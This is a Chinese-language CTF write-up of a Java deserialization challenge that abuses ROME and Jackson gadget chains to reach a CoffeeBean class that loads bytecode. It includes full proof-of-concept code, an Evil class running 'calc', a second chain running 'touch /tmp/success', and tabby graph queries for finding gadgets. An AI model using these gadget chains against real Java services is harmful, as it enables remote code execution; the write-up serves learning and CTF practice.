前言
最近发现自己对打CTF的热情逐渐减少了(可能是自己大三了唉老了),但却对课本越来越感兴趣了,但对我的java热情也极具增高,尤其是最近多了tabby这个爱妃高兴了好几天了,接下来就学学如何使用她
正文
😍✌真好附件直接给出了,不用费工夫去找附件了。
备用:b4bycoffee_f18028284cae793d0b1da80146f01bd0.zip
rome 1.7
Springboot
jackson
考察的rome反序列化,rome经典打法就是直接 signObject二次反序列化
Hashmap+Rome
HashMap::readObject->hash->key.hashcode
ObjectBean::hashCode
EqualsBean::beanHashCode
ObjectBean::toString()
ToStringBean::toString()
ToStringBean::toString()方法中的 invoke执行
二次反序列化
getObject:177, SignedObject (java.security)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
beanEquals:146, EqualsBean (com.sun.syndication.feed.impl)
equals:103, EqualsBean (com.sun.syndication.feed.impl)
equals:495, AbstractMap (java.util)
reconstitutionPut:1241, Hashtable (java.util)
readObject:1215, Hashtable (java.util)
我就说好熟悉,果不其然前几天刚遇到,我丢这出题只把kryo序列化改成了普通的序列化!!!
上次的题是 kryo+rome二次反序列化做的,这道题多了一个黑名单的限制
对比而言卡的是二次反序列化后面的类,二次反序列化还是可以正常执行的
此时疑问:二次反序列化的链子还会被拦截嘛
试了这种resolveClass是会被拦截的
那就是改这个二次反序列化后的结果,都禁了。。。
HashMap::readObject->hash->key.hashcode
ObjectBean::hashCode
EqualsBean::beanHashCode
ObjectBean::toString()
ToStringBean::toString()
ToStringBean::toString()方法中的 invoke执行
找了一下hessian原生jdk链子缺少依赖也打不通
没思路了看看其他给出的类
给了一个CoffeeBean类实现序列化 接口,并且有toString方法可以执行任何代码,所以出口肯定是调用CoffeeBean#toString方法,并且反射修改ClassByte的值
public class CoffeeBean extends ClassLoader implements Serializable {
private String name = "Coffee bean";
private byte[] ClassByte;
public String getName() {
return this.name;
}
public void setName(String name) {
this.name = name;
}
@Override // java.lang.Object
public String toString() {
try {
new CoffeeBean().defineClass(null, this.ClassByte, 0, this.ClassByte.length).newInstance();
return "A cup of Coffee --";
} catch (IllegalAccessException var6) {
var6.printStackTrace();
return "A cup of Coffee --";
} catch (InstantiationException var5) {
var5.printStackTrace();
return "A cup of Coffee --";
}
}
}
HashMap::readObject->hash->key.hashcode
EqualsBean::hashCode//也没了
EqualsBean::beanHashCode //到这里都没被过滤
ObjectBean::toString() //下面全过滤了
ToStringBean::toString()
ToStringBean::toString()方法中的 invoke执行
???这不是直接通了嘛这条链子
HashMap#readObject
EqualsBean#hashCode
EqualsBean#beanHashCode
CoffeeBean#toString
无语。。。烂题
本地搞完了,遇到的坑点
如果直接用hashmap.put,就会直接触发hashcode...,用到刚写的那篇文章反射构建hashmap(美滋滋)
为数不多的一次成功,哈哈哈当然是因为简单。
先贴一下poc
package com.example.b4bycoffee.controller;
import com.example.b4bycoffee.model.CoffeeBean;
import com.rometools.rome.feed.impl.EqualsBean;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
public class poc {
public static String string;
public static void main(String[] args) throws Exception {
Path path= Paths.get("C:\\Users\\c'x'k\\Desktop\\CTF\\2022长城杯 bycoffee\\Evil.class");
byte[] bytes= Files.readAllBytes(path);
CoffeeBean coffeeBean=new CoffeeBean();
Field classByte = coffeeBean.getClass().getDeclaredField("ClassByte");
classByte.setAccessible(true);
classByte.set(coffeeBean,bytes);
EqualsBean equalsBean=new EqualsBean(Object.class,coffeeBean);
// HashMap hashMap=new HashMap();
// hashMap.put(equalsBean,"aa");
HashMap hashMap=new HashMap();
setFieldValue(hashMap, "size", 1);
Class nodeC;
nodeC = Class.forName("java.util.HashMap$Node");
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 1);
//创建一个数组
Array.set(tbl, 0, nodeCons.newInstance(0, equalsBean, "whatever", null));
setFieldValue(hashMap, "table", tbl);
serialize(hashMap);
System.out.println(string);
unserialize();
}
public static void serialize(Object object) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
string = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}
public static void unserialize() throws Exception {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string));
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
public static void setFieldValue(Object obj,String name,Object newobj) throws NoSuchMethodException, NoSuchFieldException, IllegalAccessException {
Field declaredField = obj.getClass().getDeclaredField(name);
declaredField.setAccessible(true);
declaredField.set(obj,newobj);
}
}
Evil.java
import java.io.IOException;
public class Evil {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
public static void main(String[] args) throws IOException {
Runtime.getRuntime().exec("calc");
}
}
defineClass会触发静态方法!!!
接下来看看佬们如何找新的链子
tabby启动,首先肯定是先生成数据库
Case1 (HashMap -> HotSwappableTargetSource.equals -> XString.equals -> .toString)
啊这条链子,最近学的都用上来捏,看看怎么找到的,只会利用不会找
match (source:Method {NAME:"readObject",CLASSNAME:"java.util.HashMap"})
match (sink:Method {NAME0:"com.example.b4bycoffee.model.CoffeeBean.toString"})
with source, collect(sink) as sinks
//通过将 sink 节点归集到 sinks 列表中,后续的操作可以针对整个列表进行处理
call tabby.algo.findJavaGadget(source, sinks, 8, false, false) yield path
//
where none(n in nodes(path) where
n.NAME0 in ["com.sun.xml.internal.ws.api.BindingID.equals","org.yaml.snakeyaml.events.Event.equals","com.sun.corba.se.spi.orb.OperationFactory$OperationBase.equals","org.springframework.cache.interceptor.CacheOperation.equals","javax.swing.text.html.HTML$UnknownTag.equals"]
)
return path limit 1
这里遇到了问题。它不报错但就是找不到,起初怀疑没导入进来,但是coffee那个类却存在
match (source:Method {NAME:"readObject",CLASSNAME:"java.util.HashMap"})
match (sink:Method {NAME0:"com.example.b4bycoffee.model.CoffeeBean.toString"})
with source, collect(sink) as sinks
match (source:Method {NAME:"toString",CLASSNAME:"com.com.example.b4bycoffee.model.CoffeeBean"})
match (source:Method {NAME:"readObject",CLASSNAME:"java.util.HashMap"})
match (sink:Method {NAME0:"com.example.b4bycoffee.model.CoffeeBean.toString"})<-[:CALL]-(m1:Method)
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS", 20) yield path
return * limit 20
这里都没成功 怀疑是 CLASSNAME的问题
match (source:Method {NAME:"readObject",CLASSNAME:"com.sun.org.apache.xerces.internal.dom.NamedNodeMapImpl"}) return source
stop
tnnd我就说不太对劲直接换了个最新的版本,旧的版本不支持服啦
还有一个坑就是一定要配置这些索引,亲身经历教训没配置,从中午跑到了下午硬是没跑完,配置了2分钟跑完。。。
CREATE CONSTRAINT c1 IF NOT EXISTS FOR (c:Class) REQUIRE c.ID IS UNIQUE;
CREATE CONSTRAINT c2 IF NOT EXISTS FOR (c:Class) REQUIRE c.NAME IS UNIQUE;
CREATE CONSTRAINT c3 IF NOT EXISTS FOR (m:Method) REQUIRE m.ID IS UNIQUE;
CREATE CONSTRAINT c4 IF NOT EXISTS FOR (m:Method) REQUIRE m.SIGNATURE IS UNIQUE;
CREATE INDEX index1 IF NOT EXISTS FOR (m:Method) ON (m.NAME);
CREATE INDEX index2 IF NOT EXISTS FOR (m:Method) ON (m.CLASSNAME);
CREATE INDEX index3 IF NOT EXISTS FOR (m:Method) ON (m.NAME, m.CLASSNAME);
CREATE INDEX index4 IF NOT EXISTS FOR (m:Method) ON (m.NAME, m.NAME0);
CREATE INDEX index5 IF NOT EXISTS FOR (m:Method) ON (m.SIGNATURE);
CREATE INDEX index6 IF NOT EXISTS FOR (m:Method) ON (m.NAME0);
CREATE INDEX index7 IF NOT EXISTS FOR (m:Method) ON (m.NAME0, m.CLASSNAME);
:schema //查看表库
:sysinfo //查看数据库信息
DROP CONSTRAINT c1;
DROP CONSTRAINT c2;
DROP CONSTRAINT c3;
DROP CONSTRAINT c4;
DROP INDEX index1;
DROP INDEX index2;
DROP INDEX index3;
DROP INDEX index4;
DROP INDEX index5;
DROP INDEX index6;
DROP INDEX index7;
match (source:Method {NAME:"readObject",CLASSNAME:"java.util.HashMap"})
match (sink:Method {NAME0:"com.example.b4bycoffee.model.CoffeeBean.toString"})
with source, collect(sink) as sinks
call tabby.algo.findJavaGadget(source, sinks, 8, false, false) yield path
return path limit 1
match (source:Method)
match (sink:Method {NAME:"compare"})
with source, collect(sink) as sinks
call tabby.algo.findJavaGadget(source, sinks, 8, false, false) yield path
return path limit 1
实现 从readObject–>toString的调用,深度为8,这里重要的是NAME0,是根据Method的方法来构造的
给了一个这个类,但根据现实调试时触发不到toString方法的
怪不得要限制路径
发现很多方法都是调用到了 Object的toString但对象不可控,所以就是误报
出现了一个情况就是有的类并没有加入到数据库中,比如XString,尝试半天也未解决应该也可以把jar包继续加进去
然后看文章种✌也是找到了一个新的方法.我的图种是有ObjectIdGenerator这个类的,但只是没有XString
toString(), CoffeeBean (com.example.b4bycoffee.model)
equals(Object), XString (com.sun.org.apache.xpath.internal.objects)
equals(Object), ObjectIdGenerator$IdKey (com.fasterxml.jackson.annotation)
putVal(int, Object, Object, boolean, boolean), HashMap (java.util)
readObject(ObjectInputStream), HashMap (java.util)
CoffeeBean coffeeBean = new CoffeeBean();
Tool.setFieldValue(coffeeBean, "ClassByte", Tool.getCMDByteCodes("touch /tmp/success"));
XString xString = new XString("");
ObjectIdGenerator.IdKey idKey1 = new ObjectIdGenerator.IdKey(Object.class,Object.class,xString);
ObjectIdGenerator.IdKey idKey2 = new ObjectIdGenerator.IdKey(Object.class,Object.class,coffeeBean);
Tool.setFieldValue(idKey1,"hashCode",0);
Tool.setFieldValue(idKey2,"hashCode",0);
HashMap<Object,Object> hashMap = new HashMap<Object,Object>();
hashMap.put(idKey1, "1");
hashMap.put(idKey2, "2");
String poc = Tool.encodeBase64(Tool.serialize(hashMap));
半开半就的结束了。🥺🥺🥺感觉这种自动化工具还是比较依靠后端时如何写的,不然有些链子根本找不到。但是自动化工具提供了一个好的思路并且更加快捷。
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。